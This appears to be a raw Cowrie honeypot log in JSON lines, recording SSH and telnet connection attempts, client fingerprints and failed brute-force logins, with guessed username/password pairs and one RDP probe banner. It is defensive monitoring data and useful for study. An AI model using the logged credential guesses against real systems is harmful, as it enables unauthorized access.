{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":53490,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9a013e281c5","protocol":"ssh","message":"New connection: 49.51.202.114:53490 (159.203.135.109:22) [session: d9a013e281c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:25.682314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:25.687236Z","src_ip":"49.51.202.114","session":"d9a013e281c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:25.756113Z","src_ip":"49.51.202.114","session":"d9a013e281c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer.","message":"login attempt [root/1234qwer.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:26.061878Z","src_ip":"49.51.202.114","session":"d9a013e281c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem","message":"login attempt [root/artem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:26.530774Z","src_ip":"103.98.149.87","session":"c1eaaad690c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:27.133524Z","src_ip":"49.51.202.114","session":"d9a013e281c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:29.422390Z","src_ip":"103.98.149.87","session":"c1eaaad690c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.30660104751587,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:39.087506Z","src_ip":"192.119.13.58","session":"04066fafef53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":38440,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3fa0802d8af","protocol":"ssh","message":"New connection: 2.57.121.25:38440 (159.203.135.109:22) [session: c3fa0802d8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:42.266324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:42.271342Z","src_ip":"2.57.121.25","session":"c3fa0802d8af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:42.375808Z","src_ip":"2.57.121.25","session":"c3fa0802d8af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"110484","message":"login attempt [user/110484] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:42.863513Z","src_ip":"2.57.121.25","session":"c3fa0802d8af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":38564,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8ac3dbac6d9","protocol":"ssh","message":"New connection: 37.233.85.71:38564 (10.17.0.5:22) [session: e8ac3dbac6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:43.048925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:43.059062Z","src_ip":"37.233.85.71","session":"e8ac3dbac6d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:43.195490Z","src_ip":"37.233.85.71","session":"e8ac3dbac6d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima12345","message":"login attempt [root/dima12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:43.501495Z","src_ip":"37.233.85.71","session":"e8ac3dbac6d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"110479","message":"login attempt [user/110479] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:43.970874Z","src_ip":"2.57.121.25","session":"c3fa0802d8af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:44.604024Z","src_ip":"37.233.85.71","session":"e8ac3dbac6d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11031979","message":"login attempt [user/11031979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:45.079399Z","src_ip":"2.57.121.25","session":"c3fa0802d8af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11031975","message":"login attempt [user/11031975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:46.191723Z","src_ip":"2.57.121.25","session":"c3fa0802d8af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11021978","message":"login attempt [user/11021978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:47.299991Z","src_ip":"2.57.121.25","session":"c3fa0802d8af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:48.408295Z","src_ip":"2.57.121.25","session":"c3fa0802d8af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56716,"dst_ip":"159.203.135.109","dst_port":22,"session":"258e8384f7bd","protocol":"ssh","message":"New connection: 167.172.81.52:56716 (159.203.135.109:22) [session: 258e8384f7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:54.415015Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:54.420069Z","src_ip":"167.172.81.52","session":"258e8384f7bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:05:54.425039Z","src_ip":"167.172.81.52","session":"258e8384f7bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":47578,"dst_ip":"159.203.135.109","dst_port":22,"session":"e42b4e5e17cb","protocol":"ssh","message":"New connection: 51.250.105.222:47578 (159.203.135.109:22) [session: e42b4e5e17cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:17.745895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:17.752039Z","src_ip":"51.250.105.222","session":"e42b4e5e17cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:17.881407Z","src_ip":"51.250.105.222","session":"e42b4e5e17cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50344,"dst_ip":"10.17.0.5","dst_port":23,"session":"1476637693d2","protocol":"telnet","message":"New connection: 192.119.13.58:50344 (10.17.0.5:23) [session: 1476637693d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:17.954330Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:18.265929Z","src_ip":"51.250.105.222","session":"e42b4e5e17cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:19.395946Z","src_ip":"51.250.105.222","session":"e42b4e5e17cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":46700,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9ddd65ac1af","protocol":"ssh","message":"New connection: 185.92.182.129:46700 (10.17.0.5:22) [session: a9ddd65ac1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:25.371347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:25.782647Z","src_ip":"185.92.182.129","session":"a9ddd65ac1af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:25.855539Z","src_ip":"185.92.182.129","session":"a9ddd65ac1af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mahdavi","password":"mahdavi","message":"login attempt [mahdavi/mahdavi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:26.478039Z","src_ip":"185.92.182.129","session":"a9ddd65ac1af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":41060,"dst_ip":"159.203.135.109","dst_port":22,"session":"7385891aae40","protocol":"ssh","message":"New connection: 102.223.92.101:41060 (159.203.135.109:22) [session: 7385891aae40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:26.803488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:26.808253Z","src_ip":"102.223.92.101","session":"7385891aae40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:26.980646Z","src_ip":"102.223.92.101","session":"7385891aae40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:27.522130Z","src_ip":"185.92.182.129","session":"a9ddd65ac1af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57554,"dst_ip":"10.17.0.5","dst_port":23,"session":"693bdbe2704a","protocol":"telnet","message":"New connection: 192.119.13.58:57554 (10.17.0.5:23) [session: 693bdbe2704a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:27.568260Z"}
{"eventid":"cowrie.login.failed","username":"jules","password":"jules","message":"login attempt [jules/jules] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:27.701978Z","src_ip":"102.223.92.101","session":"7385891aae40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:28.877684Z","src_ip":"102.223.92.101","session":"7385891aae40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45488,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0d7066762c0","protocol":"telnet","message":"New connection: 192.119.13.58:45488 (10.17.0.5:23) [session: b0d7066762c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:31.834537Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":40470,"dst_ip":"159.203.135.109","dst_port":22,"session":"daa0843b979b","protocol":"ssh","message":"New connection: 103.27.238.116:40470 (159.203.135.109:22) [session: daa0843b979b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:39.033527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:39.041384Z","src_ip":"103.27.238.116","session":"daa0843b979b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:39.315564Z","src_ip":"103.27.238.116","session":"daa0843b979b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia5228","message":"login attempt [root/nokia5228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:40.137678Z","src_ip":"103.27.238.116","session":"daa0843b979b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":37536,"dst_ip":"159.203.135.109","dst_port":22,"session":"f10e24948b4e","protocol":"ssh","message":"New connection: 49.51.202.114:37536 (159.203.135.109:22) [session: f10e24948b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:41.073191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:41.077878Z","src_ip":"49.51.202.114","session":"f10e24948b4e","protocol":"ssh"}
